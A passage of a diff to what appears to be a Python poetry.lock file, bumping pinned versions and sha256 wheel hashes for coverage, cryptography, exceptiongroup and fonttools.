"coverage-7.3.2-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:0cbf38419fb1a347aaf63481c00f0bdc86889d9fbf3f25109cf96c26b403fda1"}, - {file = "coverage-7.3.2-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:5c913b556a116b8d5f6ef834038ba983834d887d82187c8f73dec21049abd65c"}, - {file = "coverage-7.3.2-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:1981f785239e4e39e6444c63a98da3a1db8e971cb9ceb50a945ba6296b43f312"}, - {file = "coverage-7.3.2-cp311-cp311-win32.whl", hash = "sha256:43668cabd5ca8258f5954f27a3aaf78757e6acf13c17604d89648ecc0cc66640"}, - {file = "coverage-7.3.2-cp311-cp311-win_amd64.whl", hash = "sha256:e10c39c0452bf6e694511c901426d6b5ac005acc0f78ff265dbe36bf81f808a2"}, - {file = "coverage-7.3.2-cp312-cp312-macosx_10_9_x86_64.whl", hash = "sha256:4cbae1051ab791debecc4a5dcc4a1ff45fc27b91b9aee165c8a27514dd160836"}, - {file = "coverage-7.3.2-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:12d15ab5833a997716d76f2ac1e4b4d536814fc213c85ca72756c19e5a6b3d63"}, - {file = "coverage-7.3.2-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:3c7bba973ebee5e56fe9251300c00f1579652587a9f4a5ed8404b15a0471f216"}, - {file = "coverage-7.3.2-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:fe494faa90ce6381770746077243231e0b83ff3f17069d748f645617cefe19d4"}, - {file = "coverage-7.3.2-cp312-cp312-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f6e9589bd04d0461a417562649522575d8752904d35c12907d8c9dfeba588faf"}, - {file = "coverage-7.3.2-cp312-cp312-musllinux_1_1_aarch64.whl", hash = "sha256:d51ac2a26f71da1b57f2dc81d0e108b6ab177e7d30e774db90675467c847bbdf"}, - {file = "coverage-7.3.2-cp312-cp312-musllinux_1_1_i686.whl", hash = "sha256:99b89d9f76070237975b315b3d5f4d6956ae354a4c92ac2388a5695516e47c84"}, - {file = "coverage-7.3.2-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:fa28e909776dc69efb6ed975a63691bc8172b64ff357e663a1bb06ff3c9b589a"}, - {file = "coverage-7.3.2-cp312-cp312-win32.whl", hash = "sha256:289fe43bf45a575e3ab10b26d7b6f2ddb9ee2dba447499f5401cfb5ecb8196bb"}, - {file = "coverage-7.3.2-cp312-cp312-win_amd64.whl", hash = "sha256:7dbc3ed60e8659bc59b6b304b43ff9c3ed858da2839c78b804973f613d3e92ed"}, - {file = "coverage-7.3.2-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:f94b734214ea6a36fe16e96a70d941af80ff3bfd716c141300d95ebc85339738"}, - {file = "coverage-7.3.2-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:af3d828d2c1cbae52d34bdbb22fcd94d1ce715d95f1a012354a75e5913f1bda2"}, - {file = "coverage-7.3.2-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:630b13e3036e13c7adc480ca42fa7afc2a5d938081d28e20903cf7fd687872e2"}, - {file = "coverage-7.3.2-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:c9eacf273e885b02a0273bb3a2170f30e2d53a6d53b72dbe02d6701b5296101c"}, - {file = "coverage-7.3.2-cp38-cp38-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:d8f17966e861ff97305e0801134e69db33b143bbfb36436efb9cfff6ec7b2fd9"}, - {file = "coverage-7.3.2-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:b4275802d16882cf9c8b3d057a0839acb07ee9379fa2749eca54efbce1535b82"}, - {file = "coverage-7.3.2-cp38-cp38-musllinux_1_1_i686.whl", hash = "sha256:72c0cfa5250f483181e677ebc97133ea1ab3eb68645e494775deb6a7f6f83901"}, - {file = "coverage-7.3.2-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:cb536f0dcd14149425996821a168f6e269d7dcd2c273a8bff8201e79f5104e76"}, - {file = "coverage-7.3.2-cp38-cp38-win32.whl", hash = "sha256:307adb8bd3abe389a471e649038a71b4eb13bfd6b7dd9a129fa856f5c695cf92"}, - {file = "coverage-7.3.2-cp38-cp38-win_amd64.whl", hash = "sha256:88ed2c30a49ea81ea3b7f172e0269c182a44c236eb394718f976239892c0a27a"}, - {file = "coverage-7.3.2-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:b631c92dfe601adf8f5ebc7fc13ced6bb6e9609b19d9a8cd59fa47c4186ad1ce"}, - {file = "coverage-7.3.2-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:d3d9df4051c4a7d13036524b66ecf7a7537d14c18a384043f30a303b146164e9"}, - {file = "coverage-7.3.2-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:5f7363d3b6a1119ef05015959ca24a9afc0ea8a02c687fe7e2d557705375c01f"}, - {file = "coverage-7.3.2-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:2f11cc3c967a09d3695d2a6f03fb3e6236622b93be7a4b5dc09166a861be6d25"}, - {file = "coverage-7.3.2-cp39-cp39-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:149de1d2401ae4655c436a3dced6dd153f4c3309f599c3d4bd97ab172eaf02d9"}, - {file = "coverage-7.3.2-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:3a4006916aa6fee7cd38db3bfc95aa9c54ebb4ffbfc47c677c8bba949ceba0a6"}, - {file = "coverage-7.3.2-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:9028a3871280110d6e1aa2df1afd5ef003bab5fb1ef421d6dc748ae1c8ef2ebc"}, - {file = "coverage-7.3.2-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:9f805d62aec8eb92bab5b61c0f07329275b6f41c97d80e847b03eb894f38d083"}, - {file = "coverage-7.3.2-cp39-cp39-win32.whl", hash = "sha256:d1c88ec1a7ff4ebca0219f5b1ef863451d828cccf889c173e1253aa84b1e07ce"}, - {file = "coverage-7.3.2-cp39-cp39-win_amd64.whl", hash = "sha256:b4767da59464bb593c07afceaddea61b154136300881844768037fd5e859353f"}, - {file = "coverage-7.3.2-pp38.pp39.pp310-none-any.whl", hash = "sha256:ae97af89f0fbf373400970c0a21eef5aa941ffeed90aee43650b81f7d7f47637"}, - {file = "coverage-7.3.2.tar.gz", hash = "sha256:be32ad29341b0170e795ca590e1c07e81fc061cb5b10c74ce7203491484404ef"}, + {file = "coverage-7.3.4-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:aff2bd3d585969cc4486bfc69655e862028b689404563e6b549e6a8244f226df"}, + {file = "coverage-7.3.4-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:e4353923f38d752ecfbd3f1f20bf7a3546993ae5ecd7c07fd2f25d40b4e54571"}, + {file = "coverage-7.3.4-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ea473c37872f0159294f7073f3fa72f68b03a129799f3533b2bb44d5e9fa4f82"}, + {file = "coverage-7.3.4-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:5214362abf26e254d749fc0c18af4c57b532a4bfde1a057565616dd3b8d7cc94"}, + {file = "coverage-7.3.4-cp310-cp310-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f99b7d3f7a7adfa3d11e3a48d1a91bb65739555dd6a0d3fa68aa5852d962e5b1"}, + {file = "coverage-7.3.4-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:74397a1263275bea9d736572d4cf338efaade2de9ff759f9c26bcdceb383bb49"}, + {file = "coverage-7.3.4-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:f154bd866318185ef5865ace5be3ac047b6d1cc0aeecf53bf83fe846f4384d5d"}, + {file = "coverage-7.3.4-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:e0d84099ea7cba9ff467f9c6f747e3fc3906e2aadac1ce7b41add72e8d0a3712"}, + {file = "coverage-7.3.4-cp310-cp310-win32.whl", hash = "sha256:3f477fb8a56e0c603587b8278d9dbd32e54bcc2922d62405f65574bd76eba78a"}, + {file = "coverage-7.3.4-cp310-cp310-win_amd64.whl", hash = "sha256:c75738ce13d257efbb6633a049fb2ed8e87e2e6c2e906c52d1093a4d08d67c6b"}, + {file = "coverage-7.3.4-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:997aa14b3e014339d8101b9886063c5d06238848905d9ad6c6eabe533440a9a7"}, + {file = "coverage-7.3.4-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:8a9c5bc5db3eb4cd55ecb8397d8e9b70247904f8eca718cc53c12dcc98e59fc8"}, + {file = "coverage-7.3.4-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:27ee94f088397d1feea3cb524e4313ff0410ead7d968029ecc4bc5a7e1d34fbf"}, + {file = "coverage-7.3.4-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:8ce03e25e18dd9bf44723e83bc202114817f3367789052dc9e5b5c79f40cf59d"}, + {file = "coverage-7.3.4-cp311-cp311-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:85072e99474d894e5df582faec04abe137b28972d5e466999bc64fc37f564a03"}, + {file = "coverage-7.3.4-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:a877810ef918d0d345b783fc569608804f3ed2507bf32f14f652e4eaf5d8f8d0"}, + {file = "coverage-7.3.4-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:9ac17b94ab4ca66cf803f2b22d47e392f0977f9da838bf71d1f0db6c32893cb9"}, + {file = "coverage-7.3.4-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:36d75ef2acab74dc948d0b537ef021306796da551e8ac8b467810911000af66a"}, + {file = "coverage-7.3.4-cp311-cp311-win32.whl", hash = "sha256:47ee56c2cd445ea35a8cc3ad5c8134cb9bece3a5cb50bb8265514208d0a65928"}, + {file = "coverage-7.3.4-cp311-cp311-win_amd64.whl", hash = "sha256:11ab62d0ce5d9324915726f611f511a761efcca970bd49d876cf831b4de65be5"}, + {file = "coverage-7.3.4-cp312-cp312-macosx_10_9_x86_64.whl", hash = "sha256:33e63c578f4acce1b6cd292a66bc30164495010f1091d4b7529d014845cd9bee"}, + {file = "coverage-7.3.4-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:782693b817218169bfeb9b9ba7f4a9f242764e180ac9589b45112571f32a0ba6"}, + {file = "coverage-7.3.4-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:7c4277ddaad9293454da19121c59f2d850f16bcb27f71f89a5c4836906eb35ef"}, + {file = "coverage-7.3.4-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:3d892a19ae24b9801771a5a989fb3e850bd1ad2e2b6e83e949c65e8f37bc67a1"}, + {file = "coverage-7.3.4-cp312-cp312-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:3024ec1b3a221bd10b5d87337d0373c2bcaf7afd86d42081afe39b3e1820323b"}, + {file = "coverage-7.3.4-cp312-cp312-musllinux_1_1_aarch64.whl", hash = "sha256:a1c3e9d2bbd6f3f79cfecd6f20854f4dc0c6e0ec317df2b265266d0dc06535f1"}, + {file = "coverage-7.3.4-cp312-cp312-musllinux_1_1_i686.whl", hash = "sha256:e91029d7f151d8bf5ab7d8bfe2c3dbefd239759d642b211a677bc0709c9fdb96"}, + {file = "coverage-7.3.4-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:6879fe41c60080aa4bb59703a526c54e0412b77e649a0d06a61782ecf0853ee1"}, + {file = "coverage-7.3.4-cp312-cp312-win32.whl", hash = "sha256:fd2f8a641f8f193968afdc8fd1697e602e199931012b574194052d132a79be13"}, + {file = "coverage-7.3.4-cp312-cp312-win_amd64.whl", hash = "sha256:d1d0ce6c6947a3a4aa5479bebceff2c807b9f3b529b637e2b33dea4468d75fc7"}, + {file = "coverage-7.3.4-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:36797b3625d1da885b369bdaaa3b0d9fb8865caed3c2b8230afaa6005434aa2f"}, + {file = "coverage-7.3.4-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:bfed0ec4b419fbc807dec417c401499ea869436910e1ca524cfb4f81cf3f60e7"}, + {file = "coverage-7.3.4-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:f97ff5a9fc2ca47f3383482858dd2cb8ddbf7514427eecf5aa5f7992d0571429"}, + {file = "coverage-7.3.4-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:607b6c6b35aa49defaebf4526729bd5238bc36fe3ef1a417d9839e1d96ee1e4c"}, + {file = "coverage-7.3.4-cp38-cp38-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:a8e258dcc335055ab59fe79f1dec217d9fb0cdace103d6b5c6df6b75915e7959"}, + {file = "coverage-7.3.4-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:a02ac7c51819702b384fea5ee033a7c202f732a2a2f1fe6c41e3d4019828c8d3"}, + {file = "coverage-7.3.4-cp38-cp38-musllinux_1_1_i686.whl", hash = "sha256:b710869a15b8caf02e31d16487a931dbe78335462a122c8603bb9bd401ff6fb2"}, + {file = "coverage-7.3.4-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:c6a23ae9348a7a92e7f750f9b7e828448e428e99c24616dec93a0720342f241d"}, + {file = "coverage-7.3.4-cp38-cp38-win32.whl", hash = "sha256:758ebaf74578b73f727acc4e8ab4b16ab6f22a5ffd7dd254e5946aba42a4ce76"}, + {file = "coverage-7.3.4-cp38-cp38-win_amd64.whl", hash = "sha256:309ed6a559bc942b7cc721f2976326efbfe81fc2b8f601c722bff927328507dc"}, + {file = "coverage-7.3.4-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:aefbb29dc56317a4fcb2f3857d5bce9b881038ed7e5aa5d3bcab25bd23f57328"}, + {file = "coverage-7.3.4-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:183c16173a70caf92e2dfcfe7c7a576de6fa9edc4119b8e13f91db7ca33a7923"}, + {file = "coverage-7.3.4-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:4a4184dcbe4f98d86470273e758f1d24191ca095412e4335ff27b417291f5964"}, + {file = "coverage-7.3.4-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:93698ac0995516ccdca55342599a1463ed2e2d8942316da31686d4d614597ef9"}, + {file = "coverage-7.3.4-cp39-cp39-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:fb220b3596358a86361139edce40d97da7458412d412e1e10c8e1970ee8c09ab"}, + {file = "coverage-7.3.4-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:d5b14abde6f8d969e6b9dd8c7a013d9a2b52af1235fe7bebef25ad5c8f47fa18"}, + {file = "coverage-7.3.4-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:610afaf929dc0e09a5eef6981edb6a57a46b7eceff151947b836d869d6d567c1"}, + {file = "coverage-7.3.4-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:d6ed790728fb71e6b8247bd28e77e99d0c276dff952389b5388169b8ca7b1c28"}, + {file = "coverage-7.3.4-cp39-cp39-win32.whl", hash = "sha256:c15fdfb141fcf6a900e68bfa35689e1256a670db32b96e7a931cab4a0e1600e5"}, + {file = "coverage-7.3.4-cp39-cp39-win_amd64.whl", hash = "sha256:38d0b307c4d99a7aca4e00cad4311b7c51b7ac38fb7dea2abe0d182dd4008e05"}, + {file = "coverage-7.3.4-pp38.pp39.pp310-none-any.whl", hash = "sha256:b1e0f25ae99cf247abfb3f0fac7ae25739e4cd96bf1afa3537827c576b4847e5"}, + {file = "coverage-7.3.4.tar.gz", hash = "sha256:020d56d2da5bc22a0e00a5b0d54597ee91ad72446fa4cf1b97c35022f6b6dbf0"}, ] [package.dependencies] @@ -613,34 +623,34 @@ toml = ["tomli"] [[package]] name = "cryptography" -version = "41.0.5" +version = "41.0.7" description = "cryptography is a package which provides cryptographic recipes and primitives to Python developers." optional = false python-versions = ">=3.7" files = [ - {file = "cryptography-41.0.5-cp37-abi3-macosx_10_12_universal2.whl", hash = "sha256:da6a0ff8f1016ccc7477e6339e1d50ce5f59b88905585f77193ebd5068f1e797"}, - {file = "cryptography-41.0.5-cp37-abi3-macosx_10_12_x86_64.whl", hash = "sha256:b948e09fe5fb18517d99994184854ebd50b57248736fd4c720ad540560174ec5"}, - {file = "cryptography-41.0.5-cp37-abi3-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d38e6031e113b7421db1de0c1b1f7739564a88f1684c6b89234fbf6c11b75147"}, - {file = "cryptography-41.0.5-cp37-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e270c04f4d9b5671ebcc792b3ba5d4488bf7c42c3c241a3748e2599776f29696"}, - {file = "cryptography-41.0.5-cp37-abi3-manylinux_2_28_aarch64.whl", hash = "sha256:ec3b055ff8f1dce8e6ef28f626e0972981475173d7973d63f271b29c8a2897da"}, - {file = "cryptography-41.0.5-cp37-abi3-manylinux_2_28_x86_64.whl", hash = "sha256:7d208c21e47940369accfc9e85f0de7693d9a5d843c2509b3846b2db170dfd20"}, - {file = "cryptography-41.0.5-cp37-abi3-musllinux_1_1_aarch64.whl", hash = "sha256:8254962e6ba1f4d2090c44daf50a547cd5f0bf446dc658a8e5f8156cae0d8548"}, - {file = "cryptography-41.0.5-cp37-abi3-musllinux_1_1_x86_64.whl", hash = "sha256:a48e74dad1fb349f3dc1d449ed88e0017d792997a7ad2ec9587ed17405667e6d"}, - {file = "cryptography-41.0.5-cp37-abi3-win32.whl", hash = "sha256:d3977f0e276f6f5bf245c403156673db103283266601405376f075c849a0b936"}, - {file = "cryptography-41.0.5-cp37-abi3-win_amd64.whl", hash = "sha256:73801ac9736741f220e20435f84ecec75ed70eda90f781a148f1bad546963d81"}, - {file = "cryptography-41.0.5-pp310-pypy310_pp73-macosx_10_12_x86_64.whl", hash = "sha256:3be3ca726e1572517d2bef99a818378bbcf7d7799d5372a46c79c29eb8d166c1"}, - {file = "cryptography-41.0.5-pp310-pypy310_pp73-manylinux_2_28_aarch64.whl", hash = "sha256:e886098619d3815e0ad5790c973afeee2c0e6e04b4da90b88e6bd06e2a0b1b72"}, - {file = "cryptography-41.0.5-pp310-pypy310_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:573eb7128cbca75f9157dcde974781209463ce56b5804983e11a1c462f0f4e88"}, - {file = "cryptography-41.0.5-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:0c327cac00f082013c7c9fb6c46b7cc9fa3c288ca702c74773968173bda421bf"}, - {file = "cryptography-41.0.5-pp38-pypy38_pp73-macosx_10_12_x86_64.whl", hash = "sha256:227ec057cd32a41c6651701abc0328135e472ed450f47c2766f23267b792a88e"}, - {file = "cryptography-41.0.5-pp38-pypy38_pp73-manylinux_2_28_aarch64.whl", hash = "sha256:22892cc830d8b2c89ea60148227631bb96a7da0c1b722f2aac8824b1b7c0b6b8"}, - {file = "cryptography-41.0.5-pp38-pypy38_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:5a70187954ba7292c7876734183e810b728b4f3965fbe571421cb2434d279179"}, - {file = "cryptography-41.0.5-pp38-pypy38_pp73-win_amd64.whl", hash = "sha256:88417bff20162f635f24f849ab182b092697922088b477a7abd6664ddd82291d"}, - {file = "cryptography-41.0.5-pp39-pypy39_pp73-macosx_10_12_x86_64.whl", hash = "sha256:c707f7afd813478e2019ae32a7c49cd932dd60ab2d2a93e796f68236b7e1fbf1"}, - {file = "cryptography-41.0.5-pp39-pypy39_pp73-manylinux_2_28_aarch64.whl", hash = "sha256:580afc7b7216deeb87a098ef0674d6ee34ab55993140838b14c9b83312b37b86"}, - {file = "cryptography-41.0.5-pp39-pypy39_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:fba1e91467c65fe64a82c689dc6cf58151158993b13eb7a7f3f4b7f395636723"}, - {file = "cryptography-41.0.5-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:0d2a6a598847c46e3e321a7aef8af1436f11c27f1254933746304ff014664d84"}, - {file = "cryptography-41.0.5.tar.gz", hash = "sha256:392cb88b597247177172e02da6b7a63deeff1937fa6fec3bbf902ebd75d97ec7"}, + {file = "cryptography-41.0.7-cp37-abi3-macosx_10_12_universal2.whl", hash = "sha256:3c78451b78313fa81607fa1b3f1ae0a5ddd8014c38a02d9db0616133987b9cdf"}, + {file = "cryptography-41.0.7-cp37-abi3-macosx_10_12_x86_64.whl", hash = "sha256:928258ba5d6f8ae644e764d0f996d61a8777559f72dfeb2eea7e2fe0ad6e782d"}, + {file = "cryptography-41.0.7-cp37-abi3-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:5a1b41bc97f1ad230a41657d9155113c7521953869ae57ac39ac7f1bb471469a"}, + {file = "cryptography-41.0.7-cp37-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:841df4caa01008bad253bce2a6f7b47f86dc9f08df4b433c404def869f590a15"}, + {file = "cryptography-41.0.7-cp37-abi3-manylinux_2_28_aarch64.whl", hash = "sha256:5429ec739a29df2e29e15d082f1d9ad683701f0ec7709ca479b3ff2708dae65a"}, + {file = "cryptography-41.0.7-cp37-abi3-manylinux_2_28_x86_64.whl", hash = "sha256:43f2552a2378b44869fe8827aa19e69512e3245a219104438692385b0ee119d1"}, + {file = "cryptography-41.0.7-cp37-abi3-musllinux_1_1_aarch64.whl", hash = "sha256:af03b32695b24d85a75d40e1ba39ffe7db7ffcb099fe507b39fd41a565f1b157"}, + {file = "cryptography-41.0.7-cp37-abi3-musllinux_1_1_x86_64.whl", hash = "sha256:49f0805fc0b2ac8d4882dd52f4a3b935b210935d500b6b805f321addc8177406"}, + {file = "cryptography-41.0.7-cp37-abi3-win32.whl", hash = "sha256:f983596065a18a2183e7f79ab3fd4c475205b839e02cbc0efbbf9666c4b3083d"}, + {file = "cryptography-41.0.7-cp37-abi3-win_amd64.whl", hash = "sha256:90452ba79b8788fa380dfb587cca692976ef4e757b194b093d845e8d99f612f2"}, + {file = "cryptography-41.0.7-pp310-pypy310_pp73-macosx_10_12_x86_64.whl", hash = "sha256:079b85658ea2f59c4f43b70f8119a52414cdb7be34da5d019a77bf96d473b960"}, + {file = "cryptography-41.0.7-pp310-pypy310_pp73-manylinux_2_28_aarch64.whl", hash = "sha256:b640981bf64a3e978a56167594a0e97db71c89a479da8e175d8bb5be5178c003"}, + {file = "cryptography-41.0.7-pp310-pypy310_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:e3114da6d7f95d2dee7d3f4eec16dacff819740bbab931aff8648cb13c5ff5e7"}, + {file = "cryptography-41.0.7-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:d5ec85080cce7b0513cfd233914eb8b7bbd0633f1d1703aa28d1dd5a72f678ec"}, + {file = "cryptography-41.0.7-pp38-pypy38_pp73-macosx_10_12_x86_64.whl", hash = "sha256:7a698cb1dac82c35fcf8fe3417a3aaba97de16a01ac914b89a0889d364d2f6be"}, + {file = "cryptography-41.0.7-pp38-pypy38_pp73-manylinux_2_28_aarch64.whl", hash = "sha256:37a138589b12069efb424220bf78eac59ca68b95696fc622b6ccc1c0a197204a"}, + {file = "cryptography-41.0.7-pp38-pypy38_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:68a2dec79deebc5d26d617bfdf6e8aab065a4f34934b22d3b5010df3ba36612c"}, + {file = "cryptography-41.0.7-pp38-pypy38_pp73-win_amd64.whl", hash = "sha256:09616eeaef406f99046553b8a40fbf8b1e70795a91885ba4c96a70793de5504a"}, + {file = "cryptography-41.0.7-pp39-pypy39_pp73-macosx_10_12_x86_64.whl", hash = "sha256:48a0476626da912a44cc078f9893f292f0b3e4c739caf289268168d8f4702a39"}, + {file = "cryptography-41.0.7-pp39-pypy39_pp73-manylinux_2_28_aarch64.whl", hash = "sha256:c7f3201ec47d5207841402594f1d7950879ef890c0c495052fa62f58283fde1a"}, + {file = "cryptography-41.0.7-pp39-pypy39_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:c5ca78485a255e03c32b513f8c2bc39fedb7f5c5f8535545bdc223a03b24f248"}, + {file = "cryptography-41.0.7-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:d6c391c021ab1f7a82da5d8d0b3cee2f4b2c455ec86c8aebbc84837a631ff309"}, + {file = "cryptography-41.0.7.tar.gz", hash = "sha256:13f93ce9bea8016c253b34afc6bd6a75993e5c40672ed5405a9c832f0d4a00bc"}, ] [package.dependencies] @@ -733,13 +743,13 @@ gmpy2 = ["gmpy2"] [[package]] name = "exceptiongroup" -version = "1.1.3" +version = "1.2.0" description = "Backport of PEP 654 (exception groups)" optional = false python-versions = ">=3.7" files = [ - {file = "exceptiongroup-1.1.3-py3-none-any.whl", hash = "sha256:343280667a4585d195ca1cf9cef84a4e178c4b6cf2274caef9859782b567d5e3"}, - {file = "exceptiongroup-1.1.3.tar.gz", hash = "sha256:097acd85d473d75af5bb98e41b61ff7fe35efe6675e4f9370ec6ec5126d160e9"}, + {file = "exceptiongroup-1.2.0-py3-none-any.whl", hash = "sha256:4bfd3996ac73b41e9b9628b04e079f193850720ea5945fc96a08633c66912f14"}, + {file = "exceptiongroup-1.2.0.tar.gz", hash = "sha256:91f5c769735f051a4290d52edd0858999b57e5876e9f85937691bd4c9fa3ed68"}, ] [package.extras] @@ -789,53 +799,53 @@ dotenv = ["python-dotenv"] [[package]] name = "fonttools" -version = "4.44.0" +version = "4.47.0" description = "Tools to manipulate font files" optional = false python-versions = ">=3.8" files = [ - {file = "fonttools-4.44.0-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:e1cd1c6bb097e774d68402499ff66185190baaa2629ae2f18515a2c50b93db0c"}, - {file = "fonttools-4.44.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:b9eab7f9837fdaa2a10a524fbcc2ec24bf60637c044b6e4a59c3f835b90f0fae"}, - {file = "fonttools-4.44.0-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:0f412954275e594f7a51c16f3b3edd850acb0d842fefc33856b63a17e18499a5"}, - {file = "fonttools-4.44.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:50d25893885e80a5955186791eed5579f1e75921751539cc1dc3ffd1160b48cf"}, - {file = "fonttools-4.44.0-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:22ea8aa7b3712450b42b044702bd3a64fd118006bad09a6f94bd1b227088492e"}, - {file = "fonttools-4.44.0-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:df40daa6c03b98652ffe8110ae014fe695437f6e1cb5a07e16ea37f40e73ac86"}, - {file = "fonttools-4.44.0-cp310-cp310-win32.whl", hash = "sha256:bca49da868e8bde569ef36f0cc1b6de21d56bf9c3be185c503b629c19a185287"}, - {file = "fonttools-4.44.0-cp310-cp310-win_amd64.whl", hash = "sha256:dbac86d83d96099890e731cc2af97976ff2c98f4ba432fccde657c5653a32f1c"}, - {file = "fonttools-4.44.0-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:e8ff7d19a6804bfd561cfcec9b4200dd1788e28f7de4be70189801530c47c1b3"}, - {file = "fonttools-4.44.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:a8a1fa9a718de0bc026979c93e1e9b55c5efde60d76f91561fd713387573817d"}, - {file = "fonttools-4.44.0-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:c05064f95aacdfc06f21e55096c964b2228d942b8675fa26995a2551f6329d2d"}, - {file = "fonttools-4.44.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:31b38528f25bc662401e6ffae14b3eb7f1e820892fd80369a37155e3b636a2f4"}, - {file = "fonttools-4.44.0-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:05d7c4d2c95b9490e669f3cb83918799bf1c838619ac6d3bad9ea017cfc63f2e"}, - {file = "fonttools-4.44.0-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:6999e80a125b0cd8e068d0210b63323f17338038c2ecd2e11b9209ec430fe7f2"}, - {file = "fonttools-4.44.0-cp311-cp311-win32.whl", hash = 